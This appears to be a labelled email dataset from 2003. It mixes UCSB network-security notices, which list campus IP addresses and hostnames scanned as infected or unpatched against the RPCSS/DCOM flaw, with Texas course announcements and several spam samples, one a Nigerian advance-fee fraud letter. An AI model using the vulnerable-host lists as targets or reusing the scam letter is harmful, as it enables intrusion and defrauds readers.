dhcp152.authnet.ucsb.edu 128.111.220.81 dhcp81.nceas.ucsb.edu 128.111.220.84 dhcp84.nceas.ucsb.edu 128.111.221.26 igertpc.mat.ucsb.edu 128.111.222.133 host222-133.lsdepts.ucsb.edu 128.111.229.251 128.111.229.252 128.111.234.43 ppp3.ncgia.ucsb.edu 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.62 128.111.247.63 *** Unpatched hosts *** 128.111.9.210 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.19.84 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.20.78 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.29.24 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.40.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.158 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.22 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.58.69 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.68.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.70.86 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.70.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.180 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.83.40 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.60 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.135 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.104.14 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.15 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.41 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.46 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.55 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.104.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.83 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.156 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.174 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.106.6 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.11 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.106.63 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.108.65 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.65 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.69 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.109.160 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.132.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.148.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.227 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.166.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.166.151 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.175.15 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.37 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.220.98 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.136 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.225.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.28 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.48 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.242.63 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.247.7 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 66 RPCSS Vulnerable ............................. 57 DCOM Disabled ................................ 72 Not Vulnerable ............................... 1354 Errors ....................................... 7 TCP Port 135 Closed or Host Timeout .......... 64046 TOTAL HOSTS SCANNED .......................... 65536 Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 chanjskan@chinggis.com,chanjskan@chinggis.com,"Wed, 24 Sep 2003 02:49:23 +0100",Belles filles noires gratuites,FREE ENTER HERE,1,0 """Jennifer B. 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Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. ______________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2003 Carnegie Mellon University. -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBP3iscTpmH2w9K/0VAQGdvAQAjGEyhiCUgXTW/M/JoyKi7TZQG+4D8CJ7 S4+YwWzc8QFYn2c0kXcFd2vc2zHfPO4wGdiL5Tp5Uc7CuOxULVcJSJGbukVcExmg QK3y8ERpSW6V7FyVvCeagrp65Ag20WjvN6ArYeUgyi3sTXKCB8BmFgVvj1cMsivk l8GJsMZNiow= =dOIO -----END PGP SIGNATURE----- ",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Mon, 29 Sep 2003 16:26:12 -0500","[srs@cs.utexas.edu: UTCS Computer Architecture Seminar Announcement, Monday, October 6, 2003]","One more good one for next Monday too! Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ------- Start of forwarded message ------- Reply-To: srs@cs.utexas.edu From: ""Stephanie Shaffer"" To: CS-Announcements:; Subject: UTCS Computer Architecture Seminar Announcement, Monday, October 6, 2003 Date: Mon, 29 Sep 2003 15:37:12 -0500 Content-Type: text/plain; charset=""iso-8859-1"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Importance: Normal X-MIME-Autoconverted: from quoted-printable to 8bit by mail.cs.utexas.edu id h8TKavAq022500 Content-Length: 2518 Event: Computer Architecture Seminar Series http://www.cs.utexas.edu/users/cart/arch Speaker: Carl Anderson IBM Title: ""Physical Design of High Performance Microprocessors"" Date: Monday, October 6, 2003 Time: 3:30 pm Place: ACES 2.402 Coffee: 3:00 pm Host: Chuck Moore ABSTRACT: The design methodology used for designing the Power4 and Power5 microprocessors will be described. How the methodology dealt with the challenges of discipline, 170 to 250 million transistors, high frequency, tight schedules, etc will be detailed. The barriers of wire resistance, leakage, cost to future high performance processors will be discussed. BIOGRAPHY: Carl J. Anderson received his BS in physics from the University of Missouri in 1974 and his PhD. in Physics from the University Wisconsin in 1979. He joined IBM Research in 1979 where he did circuit design, package design and test on the Josephson Superconducting Computer program. From 1983 to 1992 he worked in GaAs and Optoelectronics design and fabrication. In 1992 Carl became the Si circuit design manager and was responsible for the conversion of the S/390 high-end mainframe from bipolar technology to custom CMOS technology. In 1997 Carl started work on the Power4 microprocessor responsible for the physical design. Carl was appointed an IBM Fellow in 2000 and received and Honorary Doctor of Science Degree of the University of Wisconsin in 2003. Presently Carl is working on the next generation of IBM processors and helping near term programs meet their performance goals. The Computer Architecture Seminar Series is sponsored jointly by the Departments of Computer Science and Electrical & Computer Engineering and is supported by a grant from SUN. - ---------------------------------------------------------------------------- - - Scalable Yahoo Map of 24th & Speedway: http://maps.yahoo.com/py/maps.py?Pyt=Tmap&addr=2400+Speedway&csz=Austin%2C+T X&Get+Map=Get+Map Parking for off-campus visitors: We suggest that you park in parking garage 1 (PG1) at 24th & San Jacinto. Parking validation will be available. Please contact the host for this seminar or stop by the refreshment cart to have you parking validated. Submap including Parking Garage #1 (PG1): http://www.utexas.edu/maps/main/areas/law.html Submap including ACES: http://www.utexas.edu/maps/main/areas/eastmall.html Please contact Gem Naivar at gem@cs.utexas.edu if you need any further information to attend the seminar. ------- End of forwarded message -------",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Mon, 29 Sep 2003 16:25:44 -0500","[srs@cs.utexas.edu: UTCS Computer Architecture Seminar Announcement, Friday, October 3, 2003]","CS352h-ers, Here is a special seminar schedule for Friday of this week. If you are interested, please attend. Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ------- Start of forwarded message ------- Reply-To: srs@cs.utexas.edu From: ""Stephanie Shaffer"" To: CS-Announcements:; Subject: UTCS Computer Architecture Seminar Announcement, Friday, October 3, 2003 Date: Mon, 29 Sep 2003 15:35:27 -0500 Content-Type: text/plain; charset=""iso-8859-1"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Importance: Normal X-MIME-Autoconverted: from quoted-printable to 8bit by mail.cs.utexas.edu id h8TKZBAq019760 Content-Length: 4634 **************************************************************************** Please note that this seminar is being held this Friday at 10:00am, not the usual day and time. Thanks. **************************************************************************** Event: Computer Architecture Seminar Series http://www.cs.utexas.edu/users/cart/arch Speaker: Parthasarathy Ranganathan Hewlett Packard Title: ""Energy Consumption in Mobile Devices: Why Future Systems Need Requirements-Aware Energy Scale-Down"" Date: Friday, October 3, 2003 Time: 10:00 am Place: ACES 2.402 Coffee: 9:00 am Host: Yale Patt ABSTRACT: The current proliferation of mobile devices has resulted in a large diversity of designs, each optimized for a specific application, form-factor, battery life, and functionality (e.g., cell phone, pager, MP3 player, PDA, tablet, laptop). Recent trends, motivated by user preferences towards carrying less, have focused on integrating these different applications in a single general- purpose device, often resulting in much higher energy consumption and consequently much reduced battery life. Our research argues that in order to achieve longer battery life, such systems should be designed to include requirements-aware energy scale-down techniques. Such techniques would allow a general-purpose device to use hardware mechanisms and software policies to adapt energy use to the user's requirements for the task at hand, potentially approaching the low energy use of a special-purpose device. We make two main contributions. We first provide a model for energy scale-down. We argue that one approach to design scale-down is to use special-purpose devices as examples of power-efficient design points, and structure adaptivity using insights from these design points. To understand the magnitude of the potential benefits, we present an energy comparison of a wide spectrum of mobile devices (to the best of our knowledge, the first study to do so). Based on the insights from this study, we propose and evaluate three specific requirements-aware energy scale-down optimizations, in the context of the display, wireless, and CPU components of the system. Our optimizations reduce the energy consumption of their targeted subsystems by factors of 2 to 10 demonstrating the importance of energy scale-down in future designs. In the talk, I will primarily focus on display scale-down with focus on some work we have done for laptops and handhelds. I will also briefly talk about our other work on processors, wireless, and servers. BIOGRAPHY: Partha Ranganathan is currently a research scientist at Hewlett Packard Labs. His research interests are in low-power system design, system architecture, and performance evaluation. His recent research focuses on designing power- and energy-efficient systems for future computing environments (from small mobile devices to dense servers in data centers). This work has led to a class of ""energy scale-down"" optimizations that use adaptivity in resources to match system energy efficiency with desired user functionality to achieve significant energy savings. Partha is currently exploring the potential of energy scale- down optimizations in the context of the data center as part of the data center architecture team. Partha received his B.Tech degree from the Indian Institute of Technology, Madras and his M.S. and Ph.D. from Rice University, Houston. He is a primary developer of the publicly distributed Rice Simulator for ILP Multiprocessors (RSIM), and a recipient of the Lodieska Stockbridge Vaughan fellowship and an IIT Madras Alumni Award. The Computer Architecture Seminar Series is sponsored jointly by the Departments of Computer Science and Electrical & Computer Engineering and is supported by a grant from SUN. - ---------------------------------------------------------------------------- - - Scalable Yahoo Map of 24th & Speedway: http://maps.yahoo.com/py/maps.py?Pyt=Tmap&addr=2400+Speedway&csz=Austin%2C+T X&Get+Map=Get+Map Parking for off-campus visitors: We suggest that you park in parking garage 1 (PG1) at 24th & San Jacinto. Parking validation will be available. Please contact the host for this seminar or stop by the refreshment cart to have you parking validated. Submap including Parking Garage #1 (PG1): http://www.utexas.edu/maps/main/areas/law.html Submap including ACES: http://www.utexas.edu/maps/main/areas/eastmall.html Please contact Gem Naivar at gem@cs.utexas.edu if you need any further information to attend the seminar. ------- End of forwarded message -------",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Mon, 29 Sep 2003 18:21:14 -0500",review for exam," CS352h-ers, Don't forget that I will be using some of our time tomorrow for exam review. This means you should bring questions as I do not expect to have any material prepared in advance. Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 Isaiah Aldridge ,denise@cs.utexas.edu,"Tue, 30 Sep 2003 10:50:00 -0100",�λ����� ���� ���鶧 ������ �ǵ帮�ڽ��ϴ�.,"And share a shower with the dark side of her particle accelerator.Unlike so many boys who have made their precise turn signal to us.A few ballerinas, and near mirror) to arrive at a state of curseRochelle and I took steam engine for (with living with dilettante, mating ritual about.hockey player from, sheriff about turn signal, and carpet tack around are what made America great!fetishist over admonish chain saw from, but mating ritual inside prefer around line dancer. ",1,0 """Jennifer B. Sartor"" ",cs352h@lists.cc.utexas.edu,"Tue, 30 Sep 2003 17:35:56 -0500",office hour change for next week,"CS352hers - I am moving my office hours from next week Wednesday (October 8th) 1-2:30 to next week Monday (October 6th) 1-2:30. My Tuesday office hours will remain the same. If you have any questions about the exam, I have office hours tomorrow (Wednesday October 1st) 1-2:30. Good luck on the test! Jenn Sartor CS352H TA ",0,0 AHMED HAMZA ,undisclosed-recipients:;,"Tue, 30 Sep 2003 11:16:56 -0700",Believe And Trust,"Ahmed Hamza Email: ahmed.hamza@mail.ee Dear Sir/Madam, I am Manager Ahmed Hamza. I am pleased to get across to you for a very urgent and profitable business proposal, this may come to you as a Surprise as we have not met before. But I can trust a Person of your caliber. The intended business is thus, I am the Personal Account Manager to Mr. Joseph Emmons a Foreigner resident here in Nigeria, he was an oil consultant/Contractor with the government parastatals. Mr. Joseph Emmons died from an automobile accident, my client, his wife and their three children were involved in the accident along Lagos/Ibaban Express Road. Unfortunately they all lost their lives in the event of the accident, since then I have made several enquiries to locate any of my clients extended relatives, this has also proved unsuccessful. After these several unsuccessful attempts, I decided to trace his relatives over the Internet, to locate any member of his family but of no avail, hence I contacted you. I have to be sincere and honest with you, I contacted you to assist in repatriating the money and property left behind by my late client before they get confiscated or declared unserviceable by Universal Trust Bank Plc where these huge deposits were lodged. Particularly, the Universal Trust Bank Plc where the deceased had an (fixed) account valued at about (USD 26.5 million dollars). Consequently, The Universal Trust Bank Plc issued me a notice to provide the next of kin or have the account confiscated within the the next 21 official working days. since I have been unsuccessful in locating the relatives for over 3 years now, please I seek your consent to present you as the next of kin of the deceased since you have the same surname, so that the proceeds of this account valued at (USD26.5 million dollars) can be paid to you and then you and I can share the money. (1) 45% for you as the account owner (2) 50% for I (3) 5% will be set aside to defray all incidental expenses both locally and internationally during the cause of this transaction. I know that you may not relate to my late client but I contact you on this transaction based on the fact that you share the same surname with my late client, it will be very easy to convince the bank since I have the necessary documents to backup the claim. I have all necessary legal documents that can be used to back up any claim we may make. All I require is your honest co-operation to enable us seeing this deal through. I guarantee that this will be executed under a legitimate arrangement that will protect you from any breach of the law. As soon as you agree to co-operate with me, I will meet with the officials of our Universal Trust Bank Plc and present your information as the next of kin to my late client together with some relevant documents, they will just go ahead and pay the money into your account and I will come over to your country for the sharing of the fund. Please get in touch with me on my Email: ahmed.hamza@mail.ee, to enable us discuss further. please if you are not ready to transact this business with me, tell me so that I will look for other alternative to get this money from the Bank. Yours faithfully, Ahmed Hamza. ",1,0 ,,,,"(8.9.1/8.9.1) with ESMTP id JAA16038 for ; Wed, 1 Oct 2003 09:45:36 -0700 (PDT) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id JAA07493 for ; Wed, 1 Oct 2003 09:45:36 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1A4k6a-0007M3-Fk; Wed, 01 Oct 2003 09:45:36 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1A4k6X-0007Lo-Gc; Wed, 01 Oct 2003 09:45:33 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1A4k6X-0007Lg-Bb; Wed, 01 Oct 2003 09:45:33 -0700 Date: Wed, 01 Oct 2003 09:45:28 -0700 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <44690000.1065026728@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1A4k6a-0007M3-Fk*bGWxVh40kVs* Hello, These lists are being periodically sent out due to the large number of hosts that are either compromised or infected with one of the Microsoft Windows based worms, as well as those that are vulnerable according to a daily scan which I am conducting. There is also a summary so that we can all track the progress of reducing UCSB's exposure to this vulnerability. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts *** 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.126 orb126.itp.ucsb.edu 128.111.9.210 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.20.61 dhcp20-61.wirelesstest.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.29.39 128.111.29.55 camp.engr.ucsb.edu 128.111.29.157 poseidon.ece.ucsb.edu 128.111.29.159 roscoe2.ece.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.44.150 128.111.57.16 pilon.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.68.250 128.111.69.54 ilab-04.cs.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.135 adder.chemengr.ucsb.edu 128.111.82.215 theofan.chemengr.ucsb.edu 128.111.83.43 dh83043.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.92.216 128.111.96.40 coll02.alexandria.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.106.163 alexlaptop.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.164 host108-164.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.164.224 stefan.materials.ucsb.edu 128.111.164.227 stefandesktop.materials.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.192.21 moblue.ece.ucsb.edu 128.111.207.81 128.111.220.84 dhcp84.nceas.ucsb.edu 128.111.221.26 igertpc.mat.ucsb.edu 128.111.234.43 ppp3.ncgia.ucsb.edu 128.111.234.239 sylvey.geog.ucsb.edu 128.111.236.73 dhcp-73.crustal.ucsb.edu 128.111.247.62 128.111.247.63 *** Unpatched hosts *** 128.111.29.125 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.117 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.40 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.55 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.114 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.165 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.35.100 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.93 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.234 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.238 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.111 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.165 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.214 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.22 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.68.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.70.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.110 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.136 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.71.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.246 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.162 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.166 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.217 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.16 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.146 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.180 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.87.54 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.83 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.6 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.63 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.106.146 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.108.65 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.108.131 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.160 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.132.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.132.100 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.145.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.161.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.235 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.61 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.118 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.37 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.220 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.198.206 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.225.84 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.172 RPCSS 